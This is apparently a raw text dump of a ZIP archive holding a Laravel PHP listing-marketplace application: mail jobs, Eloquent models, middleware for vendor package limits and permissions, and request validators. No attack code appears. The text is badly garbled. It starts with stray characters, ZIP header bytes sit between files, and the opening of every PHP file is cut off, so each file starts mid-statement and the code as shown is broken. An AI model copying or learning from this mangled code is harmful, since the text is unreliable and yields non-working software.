vvvsvsdgdsrytvvfPK(\" VV!Jobs/SubscriptionReminderMail.phpnu[vendor = $vendor; $this->bs = $bs; $this->expire_date = $expire_date; } /** * Execute the job. * * @return void */ public function handle() { $mailer = new MegaMailer(); $data = [ 'toMail' => $this->vendor->email, 'toName' => $this->vendor->username, 'username' => $this->vendor->username, 'last_day_of_membership' => $this->expire_date, 'login_link' => 'Login', 'website_title' => $this->bs->website_title, 'templateType' => 'membership_expiry_reminder' ]; $mailer->mailFromAdmin($data); } } PK(\LɃ Jobs/SubscriptionExpiredMail.phpnu[vendor = $vendor; $this->bs = $bs; } /** * Execute the job. * * @return void */ public function handle() { $mailer = new MegaMailer(); $data = [ 'toMail' => $this->vendor->email, 'toName' => $this->vendor->fname, 'username' => $this->vendor->username, 'website_title' => $this->bs->website_title, 'templateType' => 'membership_expired', 'login_link' => 'Login' ]; $mailer->mailFromAdmin($data); } } PK(\||Models/Language.phpnu[hasMany(FAQ::class); } public function customPageInfo() { return $this->hasMany(PageContent::class); } public function footerContent() { return $this->hasOne(FooterContent::class); } public function footerQuickLink() { return $this->hasMany(QuickLink::class); } public function announcementPopup() { return $this->hasMany(Popup::class); } public function blogCategory() { return $this->hasMany(BlogCategory::class); } public function blogInformation() { return $this->hasMany(BlogInformation::class); } public function menuInfo() { return $this->hasOne(MenuBuilder::class, 'language_id', 'id'); } public function workProcessSection() { return $this->hasOne(WorkProcessSection::class, 'language_id', 'id'); } public function workProcess() { return $this->hasMany(WorkProcess::class, 'language_id', 'id'); } public function featureSection() { return $this->hasOne(FeatureSection::class, 'language_id', 'id'); } public function counterInfo() { return $this->hasMany(CounterInformation::class, 'language_id', 'id'); } public function aminiteInfo() { return $this->hasMany(Aminite::class, 'language_id', 'id'); } public function countryInfo() { return $this->hasMany(Country::class, 'language_id', 'id'); } public function stateInfo() { return $this->hasMany(State::class, 'language_id', 'id'); } public function cityInfo() { return $this->hasMany(City::class, 'language_id', 'id'); } public function counterSection() { return $this->hasMany(CounterSection::class, 'language_id', 'id'); } public function testimonialSection() { return $this->hasOne(TestimonialSection::class, 'language_id', 'id'); } public function testimonial() { return $this->hasMany(Testimonial::class, 'language_id', 'id'); } public function callToActionSection() { return $this->hasOne(CallToActionSection::class, 'language_id', 'id'); } public function videoSection() { return $this->hasOne(VideoSection::class, 'language_id', 'id'); } public function blogSection() { return $this->hasOne(BlogSection::class, 'language_id', 'id'); } public function locationSection() { return $this->hasOne(LocationSection::class, 'language_id', 'id'); } public function shippingCharge() { return $this->hasMany(ShippingCharge::class); } public function productCategory() { return $this->hasMany(ProductCategory::class); } public function listingFAq() { return $this->hasMany(ListingFaq::class); } public function productContent() { return $this->hasMany(ProductContent::class); } public function heroSection() { return $this->hasOne(HeroSection::class, 'language_id', 'id'); } //new relation are goes here public function listingCategory() { return $this->hasMany(ListingCategory::class); } public function CategorySection() { return $this->hasMany(CategorySection::class); } public function vendorInfo() { return $this->hasOne(VendorInfo::class); } public function sliderInfo() { return $this->hasMany(Slider::class, 'language_id', 'id'); } public function banner() { return $this->hasOne(Banner::class); } public function pageName() { return $this->hasOne(PageHeading::class); } public function seoInfo() { return $this->hasOne(SEO::class); } public function cookieAlertInfo() { return $this->hasOne(CookieAlert::class); } } PK(\\qModels/RolePermission.phpnu[hasMany(Admin::class, 'role_id', 'id'); } } PK(\xҸ%Models/BasicSettings/MailTemplate.phpnu[belongsTo(Language::class); } } PK(\belongsTo(Language::class); } } PK(\.ss$Models/BasicSettings/SocialMedia.phpnu[belongsTo(Language::class); } } PK(\RRModels/BasicSettings/Basic.phpnu[belongsTo(Vendor::class, 'user_id', 'id'); } public function user() { return $this->belongsTo(User::class, 'user_id', 'id'); } public function messages() { return $this->hasMany(Conversation::class); } public function admin() { return $this->belongsTo(Admin::class, 'admin_id', 'id'); } } PK(\2C^Models/ListingCategory.phpnu[hasMany(ListingContent::class, 'category_id'); } } PK(\>lModels/Footer/FooterContent.phpnu[belongsTo(Language::class); } } PK(\sModels/Footer/QuickLink.phpnu[belongsTo(Language::class); } } PK(\.LLModels/Package.phpnu[hasMany(Membership::class); } } PK(\g09'Models/PaymentGateway/OnlineGateway.phpnu[information, true); } } PK(\U,(Models/PaymentGateway/OfflineGateway.phpnu[belongsTo(Listing::class, 'id', 'listing_id'); } } PK(\RiKKModels/Listing/ListingFaq.phpnu[hasMany(ListingContent::class, 'listing_id', 'id'); } public function galleries() { return $this->hasMany(ListingImage::class, 'listing_id', 'id'); } public function vendor() { return $this->belongsTo(Vendor::class); } public function listingProducts() { return $this->hasMany(ListingProduct::class, 'listing_id', 'id'); } public function listingFaqs() { return $this->hasMany(ListingFaq::class); } public function specifications() { return $this->hasMany(ListingFeature::class, 'listing_id', 'id'); } public function sociallinks() { return $this->hasMany(ListingSocialMedia::class, 'listing_id', 'id'); } } PK(\ϥbelongsTo(ListingCategory::class); } public function city() { return $this->belongsTo(City::class); } public function listing() { return $this->belongsTo(Listing::class); } } PK(\8nu!Models/Listing/ProductMessage.phpnu[belongsTo(Vendor::class); } } PK(\Gb.. Models/Listing/ListingReview.phpnu[belongsTo(User::class, 'user_id', 'id'); } public function listingInfo() { return $this->belongsTo(Listing::class); } } PK(\NN%Models/Listing/ListingSocialMedia.phpnu[belongsTo(ListingProduct::class); } } PK(\*5VV!Models/Listing/ListingFeature.phpnu[belongsTo(Vendor::class); } } PK(\T!Models/Listing/ListingProduct.phpnu[hasOne(ListingProductContent::class, 'listing_product_id', 'id'); } public function galleries() { return $this->hasMany(ListingProductImage::class); } public function listings() { return $this->belongsTo(Listing::class); } } PK(\<;;Models/BusinessHour.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\FݻMM"Models/Journal/BlogInformation.phpnu[belongsTo(Language::class); } public function blogCategory() { return $this->belongsTo(BlogCategory::class); } public function blog() { return $this->belongsTo(Blog::class); } } PK(\5`SSModels/Journal/BlogCategory.phpnu[belongsTo(Language::class); } public function blogInfo() { return $this->hasMany(BlogInformation::class); } } PK(\٦ԽModels/Journal/Blog.phpnu[hasMany(BlogInformation::class); } } PK(\dd"Models/HomePage/PackageSection.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\PZModels/HomePage/BlogSection.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\ #Models/HomePage/LocationSection.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\5O0Models/HomePage/Testimony/TestimonialSection.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\E{s)Models/HomePage/Testimony/Testimonial.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\ܘ.TT#Models/HomePage/CategorySection.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\x#cc"Models/HomePage/ListingSection.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\G6ʹ+Models/HomePage/Methodology/WorkProcess.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\:2Models/HomePage/Methodology/WorkProcessSection.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\\2 Models/HomePage/VideoSection.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\p'Models/HomePage/CallToActionSection.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\ФModels/HomePage/Hero/Slider.phpnu[belongsTo(Language::class, 'language_id', 'id'); } } PK(\IvModels/HomePage/Banner.phpnu[belongsTo(ProductOrder::class, 'payment_id', 'id'); } //order public function memberships() { return $this->belongsTo(Membership::class, 'payment_id', 'id'); } //vendor_id public function vendor() { return $this->belongsTo(Vendor::class, 'user_id', 'id'); } //vendor_id public function user() { return $this->belongsTo(User::class, 'user_id', 'id'); } } PK(\*Models/Earning.phpnu[belongsTo(RolePermission::class, 'role_id', 'id'); } } PK(\R5Models/User.phpnu[ 'datetime', ]; public function productOrder() { return $this->hasMany(ProductOrder::class, 'user_id', 'id'); } public function productReview() { return $this->hasMany(ProductReview::class, 'user_id', 'id'); } public function listingReview() { return $this->hasMany(ListingReview::class, 'user_id', 'id'); } public function equipmentBooking() { return $this->hasMany(EquipmentBooking::class); } public function equipmentReview() { return $this->hasMany(EquipmentReview::class, 'user_id', 'id'); } } PK(\СΜModels/Popup.phpnu[belongsTo(Language::class); } } PK(\T@Models/FAQ.phpnu[belongsTo(Language::class); } } PK(\c7Y Models/FeaturedListingCharge.phpnu[hasMany(VendorInfo::class); } public function vendor_info() { return $this->hasOne(VendorInfo::class); } //support ticket public function support_ticket() { return $this->hasMany(SupportTicket::class, 'vendor_id', 'id'); } public function memberships() { return $this->hasMany(Membership::class); } public function listings() { return $this->hasMany(Listing::class, 'vendor_id', 'id'); } public function messages() { return $this->hasMany(Listing::class, 'vendor_id', 'id'); } } PK(\6t>Models/Advertisement.phpnu[belongsTo(Language::class); } public function order() { return $this->hasMany(ProductOrder::class, 'product_shipping_charge_id', 'id'); } } PK(\g㏧Models/Shop/ProductCategory.phpnu[belongsTo(Language::class); } public function productContent() { return $this->hasMany(ProductContent::class); } public function products() { return $this->hasMany(ProductContent::class); } } PK(\WoModels/Shop/ProductOrder.phpnu[belongsTo(User::class, 'user_id', 'id'); } public function item() { return $this->hasMany(ProductPurchaseItem::class, 'product_order_id', 'id'); } public function shippingMethod() { return $this->belongsTo(ShippingCharge::class, 'product_shipping_charge_id', 'id'); } } PK(\[**Models/Shop/ProductContent.phpnu[belongsTo(Language::class); } public function category() { return $this->belongsTo(ProductCategory::class); } public function product() { return $this->belongsTo(Product::class); } } PK(\/GG#Models/Shop/ProductPurchaseItem.phpnu[belongsTo(ProductOrder::class, 'product_order_id', 'id'); } public function productInfo() { return $this->belongsTo(Product::class, 'product_id', 'id'); } } PK(\QModels/Shop/Product.phpnu[hasMany(ProductContent::class); } public function purchase() { return $this->hasMany(ProductPurchaseItem::class, 'product_id', 'id'); } public function review() { return $this->hasMany(ProductReview::class); } } PK(\<<Models/Shop/ProductReview.phpnu[belongsTo(User::class, 'user_id', 'id'); } public function productInfo() { return $this->belongsTo(Product::class); } } PK(\Models/Timezone.phpnu[belongsTo(Country::class, 'country_id'); } public function state() { return $this->belongsTo(State::class, 'state_id'); } public function listing_city() { return $this->hasMany(ListingContent::class, 'city_id'); } } PK(\@4kkModels/Location/Country.phpnu[hasMany(State::class, 'country_id'); } } PK(\9Models/Location/State.phpnu[belongsTo(Country::class, 'country_id'); } public function states() { return $this->hasMany(State::class, 'state_id'); } } PK(\(Models/Visitor.phpnu[+<<Models/Membership.phpnu[belongsTo(Vendor::class, 'vendor_id'); } public function package() { return $this->belongsTo(Package::class, 'package_id'); } } PK(\pModels/VendorInfo.phpnu[belongsTo(Language::class); } public function page() { return $this->belongsTo(Page::class, 'page_id', 'id'); } } PK(\ ¸Models/CustomPage/Page.phpnu[hasMany(PageContent::class, 'page_id', 'id'); } } PK(\؅JModels/Car/Wishlist.phpnu[route('id'); $course = Course::findOrFail($courseId); if ($course->certificate_status == 1) { return $next($request); } else { $lesson_id = $request->session()->get('lessonId'); return redirect()->route('user.my_course.curriculum', ['id' => $courseId, 'lesson_id' => $lesson_id]); } } } PK(\U7#7#&Http/Middleware/CheckPackageLimits.phpnu[user()) { $vendor = Vendor::find(Auth::guard('vendor')->user()->id); } elseif (Auth::guard('agent')->user()) { return redirect()->route('index'); } $package = VendorPermissionHelper::currentPackagePermission($vendor->id); if (empty($package)) { return redirect()->route('vendor.dashboard'); } $vendorTotalListing = vendorTotalListing($vendor->id); $totalFaq = ListingFaq::where('listing_id', $request->listing_id) ->where('language_id', $request->language_id) ->count(); $totalProduct = ListingProduct::join('listing_product_contents', 'listing_products.id', '=', 'listing_product_contents.listing_product_id') ->where('listing_products.listing_id', $request->listing_id) ->where('listing_product_contents.language_id', $request->language_id) ->count(); $features = json_decode($package->features); if ($features) { if ($method == 'store') { if ($feature == 'listing') { if (($package->number_of_listing > $vendorTotalListing) && $this->checkFeaturesNotDowngraded($vendor->id, $feature, $package, $vendorTotalListing)) { return $next($request); } else { return response()->json('downgrade'); } } if ($feature == 'faq') { if (($package->number_of_faq > $totalFaq) && $this->checkFeaturesNotDowngraded($vendor->id, $feature, $package, $totalFaq)) { return $next($request); } else { return response()->json('downgrade'); } } if ($feature == 'product') { if (($package->number_of_products > $totalProduct) && $this->checkFeaturesNotDowngraded($vendor->id, $feature, $package, $totalProduct)) { return $next($request); } else { return response()->json('downgrade'); } } } if ($method == 'update') { if ($feature == 'listing') { if (($package->number_of_listing >= $vendorTotalListing) && $this->checkFeaturesNotDowngraded($vendor->id, $feature, $package, $vendorTotalListing)) { return $next($request); } else { return response()->json('downgrade'); } } } } else { if ($this->checkFeaturesNotDowngraded($vendor->id, $feature, $package, $vendorTotalListing)) { return $next($request); } else { return response()->json('downgrade'); } } } } private function checkFeaturesNotDowngraded($vendorId, $feature, $package, $userFeaturesCount) { $return = true; $vendor = Vendor::find(Auth::guard('vendor')->user()->id); $vendorTotalListing = vendorTotalListing($vendor->id); $features = json_decode($package->features); if ($feature != 'listing') { if ($package->number_of_listing != 999999 && $package->number_of_listing < $vendorTotalListing) { return $return = false; } } // images and additional specofication check $listingImage = Listing::with(['galleries'])->where('vendor_id', $vendorId)->get(); if ($listingImage) { foreach ($listingImage as $listing) { $listingImgCount = $listing->galleries()->count(); if ($package->number_of_images_per_listing != 999999 && ($package->number_of_images_per_listing < $listingImgCount)) { return $return = false; } } } if ($features && in_array('Products', $features)) { $listingProducts = Listing::with(['listingProducts'])->where('vendor_id', $vendorId)->get(); if ($listingProducts) { foreach ($listingProducts as $product) { $products = $product->listingProducts; if ($package->number_of_products < count($products)) { return $return = false; } } } } if ($features && in_array('Feature', $features)) { $ListingFeatures = Listing::with('specifications')->where('vendor_id', $vendorId)->select('id')->get(); if ($ListingFeatures) { foreach ($ListingFeatures as $Feature) { $projectSpeciCount = $Feature->specifications->count(); if ($package->number_of_additional_specification < count($Feature->specifications)) { return $return = false; } } } } if ($features && in_array('Social Links', $features)) { $ListingSocialLinks = Listing::with('sociallinks')->where('vendor_id', $vendorId)->select('id')->get(); if ($ListingSocialLinks) { foreach ($ListingSocialLinks as $socail) { $socialCount = $socail->sociallinks->count(); if ($package->number_of_social_links < $socialCount) { return $return = false; } } } } if ($features && in_array('Amenities', $features)) { $ListingAmenities = Listing::with('listing_content')->where('vendor_id', $vendorId)->select('id')->get(); if ($ListingAmenities) { foreach ($ListingAmenities as $ListingAmenitie) { foreach ($ListingAmenitie->listing_content as $content) { if ($content->aminities) { $amenities = json_decode($content->aminities); if ($package->number_of_amenities_per_listing < count($amenities)) { return $return = false; } } } } } } if ($features && in_array('FAQ', $features)) { $languages = Language::all(); foreach ($languages as $language) { $language_id = $language->id; $listingFaqs = Listing::with(['listingFaqs' => function ($q) use ($language_id) { $q->where('language_id', $language_id); }]) ->where('vendor_id', $vendorId) ->orderBy('listings.id', 'desc') ->paginate(10); if ($listingFaqs) { foreach ($listingFaqs as $faq) { $faqs = $faq->listingFaqs; if ($package->number_of_faq < count($faqs)) { return $return = false; } } } } } if ($features && in_array('Products', $features)) { $listingProductImages = Listing::with(['listingProducts'])->where('vendor_id', $vendorId)->get(); if ($listingProductImages) { foreach ($listingProductImages as $listingProductImage) { $listingProductss = $listingProductImage->listingProducts; foreach ($listingProductss as $listingProduct) { $ProductImages = $listingProduct->galleries; if ($package->number_of_images_per_products < count($ProductImages)) { return $return = false; } } } } } return $return; } } PK(\+X(#Http/Middleware/ShopStatusCheck.phpnu[select('shop_status')->first(); if ($info->shop_status != 1) { return redirect()->route('index'); } return $next($request); } } PK(\G,Http/Middleware/RedirectIfDownFileExists.phpnu[route('index'); } } } PK(\7N;33+Http/Middleware/RedirectIfAuthenticated.phpnu[check()) { return redirect()->route('admin.dashboard'); } if ($guard == 'web' && Auth::guard($guard)->check()) { return redirect()->route('user.dashboard'); } } return $next($request); } } PK(\VVHttp/Middleware/TrimStrings.phpnu[expectsJson()) { if (Route::is('admin.*')) { return route('admin.login'); } if (Route::is('user.*')) { return route('user.login'); } if (Route::is('vendor.*')) { return route('vendor.login'); } } } } PK(\8Http/Middleware/PreventRequestsForDeactivatedAccount.phpnu[user(); if (Session::get('secret_login') != 1) { if ($userInfo->status == 0) { Auth::guard('web')->logout(); $request->session()->flash('error', 'Sorry, your account has been deactivated!'); return redirect()->route('user.login'); } } return $next($request); } } PK(\(C"Http/Middleware/EncryptCookies.phpnu[isMethod('POST') || $request->isMethod('PUT')) { session()->flash('warning', 'This is Demo version. You can not change anything.'); return redirect()->back(); } } return $next($request); } } PK(\} wGG#Http/Middleware/VerifyCsrfToken.phpnu[user()->status == 0) { if ($request->isMethod('POST') || $request->isMethod('PUT')) { $message = DB::table('basic_settings') ->select('admin_approval_notice') ->first(); session()->flash('warning', $message->admin_approval_notice); return redirect()->back(); } } return $next($request); } } PK(\U>!Http/Middleware/emailVerified.phpnu[user()->email_verified_at == null) { session()->flash('warning', "hh"); return redirect()->route('vendor.login'); } return $next($request); } } PK(\!aa"Http/Middleware/ChangeLanguage.phpnu[session()->has('currentLocaleCode')) { $locale = $request->session()->get('currentLocaleCode'); } if (empty($locale)) { // set the default language as system locale $languageCode = Language::query()->where('is_default', '=', 1) ->pluck('code') ->first(); App::setLocale($languageCode); } else { // set the selected language as system locale App::setLocale($locale); } return $next($request); } } PK(\O  !Http/Middleware/HasPermission.phpnu[user(); $role = null; if (!is_null($authAdmin->role_id)) { $role = $authAdmin->role()->first(); } if (!is_null($role)) { $rolePermissions = json_decode($role->permissions); } if (is_null($role) || (!empty($rolePermissions) && in_array($menuName, $rolePermissions))) { return $next($request); } return redirect()->back(); } } PK(\%DDHttp/Middleware/TrustHosts.phpnu[allSubdomainsOfApplicationUrl(), ]; } } PK(\qpPP(Http/Requests/Checkout/ExtendRequest.phpnu[ */ public function rules(): array { return [ 'price' => 'required', 'package_id' => 'required', 'start_date' => 'required', 'expire_date' => 'required', 'payment_method' => $this->price != 0 ? 'required' : '', 'cardNumber' => 'sometimes|required', 'month' => 'sometimes|required', 'year' => 'sometimes|required', 'cardCVC' => 'sometimes|required', ]; } public function messages(): array { return [ 'receipt.required' => 'The receipt field image is required when instruction required receipt image' ]; } } PK(\O$Http/Requests/PageHeadingRequest.phpnu[ 'required', 'pricing_page_title' => 'required', 'vendor_page_title' => 'required', 'products_page_title' => 'required', 'cart_page_title' => 'required', 'checkout_page_title' => 'required', 'login_page_title' => 'required', 'signup_page_title' => 'required', 'forget_password_page_title' => 'required', 'vendor_login_page_title' => 'required', 'vendor_signup_page_title' => 'required', 'vendor_forget_password_page_title' => 'required', 'error_page_title' => 'required', 'about_us_title' => 'required', 'blog_page_title' => 'required', 'faq_page_title' => 'required', 'contact_page_title' => 'required', 'dashboard_page_title' => 'required', 'wishlist_page_title' => 'required', 'orders_page_title' => 'required', 'support_ticket_page_title' => 'required', 'support_ticket_create_page_title' => 'required', 'change_password_page_title' => 'required', 'edit_profile_page_title' => 'required', ]; } } PK(\ەl*Http/Requests/Testimonial/StoreRequest.phpnu[select('theme_version')->first(); return [ 'language_id' => 'required', 'image' => $themeInfo->theme_version == 2 ? ['required', new ImageMimeTypeRule()] : '', 'rating' => $themeInfo->theme_version == 3 ? 'required' : '', 'name' => 'required|max:255', 'occupation' => 'required|max:255', 'comment' => 'required' ]; } public function messages() { return [ 'language_id.required' => 'The language field is required.' ]; } } PK(\8+Http/Requests/Testimonial/UpdateRequest.phpnu[select('theme_version')->first(); $ruleArray = []; if ($themeInfo->theme_version == 2) { $testimonial = Testimonial::query()->find($this->id); if (is_null($testimonial->image)) { $ruleArray['image'] = 'required'; } else if ($this->hasFile('image')) { $ruleArray['image'] = new ImageMimeTypeRule(); } } if ($themeInfo->theme_version == 3) { $ruleArray['rating'] = 'required'; } $ruleArray['name'] = 'required|max:255'; $ruleArray['occupation'] = 'required|max:255'; $ruleArray['comment'] = 'required'; return $ruleArray; } } PK(\:gz%Http/Requests/MailFromUserRequest.phpnu[first(); return [ 'name' => 'required', 'email' => 'required|email:rfc,dns', 'subject' => 'required', 'message' => 'required', 'g-recaptcha-response' => $info->google_recaptcha_status == 1 ? 'required|captcha' : '' ]; } /** * Get the validation messages that apply to the request. * * @return array */ public function messages() { $info = Basic::select('google_recaptcha_status')->first(); $messageArray = []; if ($info->google_recaptcha_status == 1) { $messageArray['g-recaptcha-response.required'] = 'Please verify that you are not a robot.'; $messageArray['g-recaptcha-response.captcha'] = 'Captcha error! try again later or contact site admin.'; } return $messageArray; } } PK(\qHttp/Requests/tt.phpnu[ */ public function rules() { return [ // ]; } } PK(\%,{{.Http/Requests/Package/PackageUpdateRequest.phpnu[ */ public function rules(Request $request): array { $permissions = $request->features; if (is_array($permissions) && in_array('Amenities', $permissions)) { $Amenities = true; } else { $Amenities = false; } if (is_array($permissions) && in_array('Feature', $permissions)) { $additionalSpecification = true; } else { $additionalSpecification = false; } if (is_array($permissions) && in_array('Social Links', $permissions)) { $socialLinks = true; } else { $socialLinks = false; } if (is_array($permissions) && in_array('FAQ', $permissions)) { $faq = true; } else { $faq = false; } if (is_array($permissions) && in_array('Products', $permissions)) { $product = true; } else { $product = false; } return [ 'title' => 'required|max:255', 'price' => 'required', 'number_of_images_per_listing' => 'required', 'number_of_listing' => 'required', 'term' => 'required', 'icon' => 'required', 'status' => 'required', 'number_of_amenities_per_listing' => $Amenities ? 'required' : '', 'number_of_additional_specification' => $additionalSpecification ? 'required' : '', 'number_of_social_links' => $socialLinks ? 'required' : '', 'number_of_faq' => $faq ? 'required' : '', 'number_of_products' => $product ? 'required' : '', 'number_of_images_per_products' => $product ? 'required' : '', ]; } } PK(\c||-Http/Requests/Package/PackageStoreRequest.phpnu[ */ public function rules(Request $request): array { $permissions = $request->features; if (is_array($permissions) && in_array('Amenities', $permissions)) { $Amenities = true; } else { $Amenities = false; } if (is_array($permissions) && in_array('Feature', $permissions)) { $additionalSpecification = true; } else { $additionalSpecification = false; } if (is_array($permissions) && in_array('Social Links', $permissions)) { $socialLinks = true; } else { $socialLinks = false; } if (is_array($permissions) && in_array('FAQ', $permissions)) { $faq = true; } else { $faq = false; } if (is_array($permissions) && in_array('Products', $permissions)) { $product = true; } else { $product = false; } return [ 'title' => 'required|max:255', 'price' => 'required', 'number_of_images_per_listing' => 'required', 'number_of_listing' => 'required', 'term' => 'required', 'icon' => 'required', 'status' => 'required', 'number_of_amenities_per_listing' => $Amenities ? 'required' : '', 'number_of_additional_specification' => $additionalSpecification ? 'required' : '', 'number_of_social_links' => $socialLinks ? 'required' : '', 'number_of_faq' => $faq ? 'required' : '', 'number_of_products' => $product ? 'required' : '', 'number_of_images_per_products' => $product ? 'required' : '', ]; } } PK(\Ð.Http/Requests/Listing/ProductUpdateRequest.phpnu[ */ public function rules(Request $request) { $productImageLimit = packageTotalProductImage($request->listing_id); $siderImageCount = ListingProductImage::where('listing_product_id', $request->product_id)->count(); $siders = $productImageLimit - $siderImageCount; $rules = [ 'slider_images' => 'sometimes|array|max:' . $siders, 'status' => 'required', 'current_price' => 'required', ]; $languages = Language::all(); foreach ($languages as $language) { $rules[$language->code . '_title'] = 'required|max:255'; $rules[$language->code . '_content'] = 'required|min:15'; } return $rules; } public function messages() { $messageArray = []; $languages = Language::all(); foreach ($languages as $language) { $messages[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language'; $messages[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language'; $messages[$language->code . '_content.required'] = 'The content field is required for ' . $language->name . ' language'; $messages[$language->code . '_content.min'] = 'The content field at least have 15 characters for ' . $language->name . ' language'; } return $messageArray; } } PK(\ C$C$-Http/Requests/Listing/ListingStoreRequest.phpnu[ */ public function rules(Request $request) { if ($request->vendor_id == null || $request->vendor_id == 0) { if ($request->video_url) { $video = true; } else { $video = false; } $rules = [ 'slider_images' => 'required', 'feature_image' => [ 'required', new ImageMimeTypeRule(), 'dimensions:width=600,height=400' ], 'video_background_image' => [ $video ? 'required' : '', new ImageMimeTypeRule(), ], 'mail' => 'required', 'phone' => 'required', 'max_price' => 'required|numeric', 'min_price' => 'required|numeric|lt:max_price', 'status' => 'required', 'latitude' => ['required', 'numeric', 'between:-90,90'], 'longitude' => ['required', 'numeric', 'between:-180,180'], ]; $languages = Language::all(); foreach ($languages as $language) { $property = $language->code . '_country_id'; if ($request->$property) { $Statess = State::where('country_id', $property)->count(); if ($Statess != 0) { $State = true; } else { $State = false; } } else { $States = State::where('language_id', $language->id)->count(); if ($States != 0) { $State = true; } else { $State = false; } } $countries = Country::where('language_id', $language->id)->count(); if ($countries != 0) { $country = true; } else { $country = false; } $rules[$language->code . '_title'] = 'required|max:255'; $rules[$language->code . '_address'] = 'required'; $rules[$language->code . '_category_id'] = 'required'; $rules[$language->code . '_state_id'] = $State ? 'required' : ''; $rules[$language->code . '_country_id'] = $country ? 'required' : ''; $rules[$language->code . '_city_id'] = 'required'; $rules[$language->code . '_description'] = 'required|min:15'; $rules[$language->code . '_aminities'] = 'required'; } return $rules; } else { $vendorId = $request->vendor_id; if ($request->video_url) { $video = true; } else { $video = false; } $packagePermission = VendorPermissionHelper::packagePermission($vendorId); if ($packagePermission != []) { $listingImageLimit = packageTotalListingImage($vendorId); $permissions = currentPackageFeatures($vendorId); $additionalFeatureLimit = packageTotalAdditionalSpecification($vendorId); $aminitiesLimit = packageTotalAminities($vendorId); $SocialLinkLimit = packageTotalSocialLink($vendorId); if (!empty(currentPackageFeatures($vendorId))) { $permissions = json_decode($permissions, true); } if (is_array($permissions) && in_array('Amenities', $permissions)) { $Amenities = true; } else { $Amenities = false; } $rules = [ 'slider_images' => 'required|array|max:' . $listingImageLimit, 'feature_image' => [ 'required', new ImageMimeTypeRule(), 'dimensions:width=600,height=400' ], 'video_background_image' => [ $video ? 'required' : '', new ImageMimeTypeRule(), ], 'mail' => 'required', 'phone' => 'required', 'max_price' => 'required|numeric', 'min_price' => 'required|numeric|lt:max_price', 'status' => 'required', 'latitude' => ['required', 'numeric', 'between:-90,90'], 'longitude' => ['required', 'numeric', 'between:-180,180'], ]; $languages = Language::all(); foreach ($languages as $language) { $property = $language->code . '_country_id'; if ($request->$property) { $Statess = State::where('country_id', $property)->count(); if ($Statess != 0) { $State = true; } else { $State = false; } } else { $States = State::where('language_id', $language->id)->count(); if ($States != 0) { $State = true; } else { $State = false; } } $countries = Country::where('language_id', $language->id)->count(); if ($countries != 0) { $country = true; } else { $country = false; } $rules[$language->code . '_title'] = 'required|max:255'; $rules[$language->code . '_address'] = 'required'; $rules[$language->code . '_category_id'] = 'required'; $rules[$language->code . '_city_id'] = 'required'; $rules[$language->code . '_state_id'] = $State ? 'required' : ''; $rules[$language->code . '_country_id'] = $country ? 'required' : ''; $rules[$language->code . '_description'] = 'required|min:15'; $rules[$language->code . '_aminities'] = $Amenities ? 'required|array|max:' . $aminitiesLimit : ''; $rules[$language->code . '_feature_heading'] = 'sometimes|array|max:' . $additionalFeatureLimit; } return $rules; } } } public function messages() { $messageArray = []; $languages = Language::all(); foreach ($languages as $language) { $messageArray[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language'; $messageArray[$language->code . '_address.required'] = 'The address field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_category_id.required'] = 'The category field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_city_id.required'] = 'The city field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_state_id.required'] = 'The state field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_country_id.required'] = 'The Country field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_description.required'] = 'The description field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_description.min'] = 'The description field at least have 15 characters for ' . $language->name . ' language'; $messageArray[$language->code . '_aminities.required'] = 'The Amenities field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_aminities.max'] = 'Maximum ' . $this->aminitiesLimit() . ' aminities can be added per listing (for ' . $language->name . ' Language)'; } return $messageArray; } private function aminitiesLimit() { $vendorId = $this->vendor_id; if ($vendorId == 0) { return PHP_INT_MAX; } else { return packageTotalAminities($vendorId); } } } PK(\32x-Http/Requests/Listing/ProductStoreRequest.phpnu[ */ public function rules(Request $request) { $productImageLimit = packageTotalProductImage($request->listing_id); $rules = [ 'slider_images' => 'required|array|max:' . $productImageLimit, 'feature_image' => [ 'required', new ImageMimeTypeRule() ], 'status' => 'required', 'current_price' => 'required', ]; $languages = Language::all(); foreach ($languages as $language) { $rules[$language->code . '_title'] = 'required|max:255'; $rules[$language->code . '_content'] = 'required|min:15'; } return $rules; } public function messages() { $messageArray = []; $languages = Language::all(); foreach ($languages as $language) { $messageArray[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language'; $messageArray[$language->code . '_content.required'] = 'The content field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_content.min'] = 'The content field at least have 15 characters for ' . $language->name . ' language'; } return $messageArray; } } PK(\`$$.Http/Requests/Listing/ListingUpdateRequest.phpnu[ */ public function rules(Request $request) { if ($request->vendor_id == null || $request->vendor_id == 0) { if ($request->video_url) { $video = true; } else { $video = false; } $videoImage = Listing::findorfail($request->listing_id)->video_background_image; if ($videoImage) { $videohave = false; } else { $videohave = true; } $rules = [ 'video_background_image' => [ $video ? ($videohave ? 'required' : '') : '', new ImageMimeTypeRule(), ], 'thumbnail' => [ 'dimensions:width=600,height=400', new ImageMimeTypeRule(), ], 'mail' => 'required', 'phone' => 'required', 'status' => 'required', 'max_price' => 'required|numeric', 'min_price' => 'required|numeric|lt:max_price', 'latitude' => ['required', 'numeric', 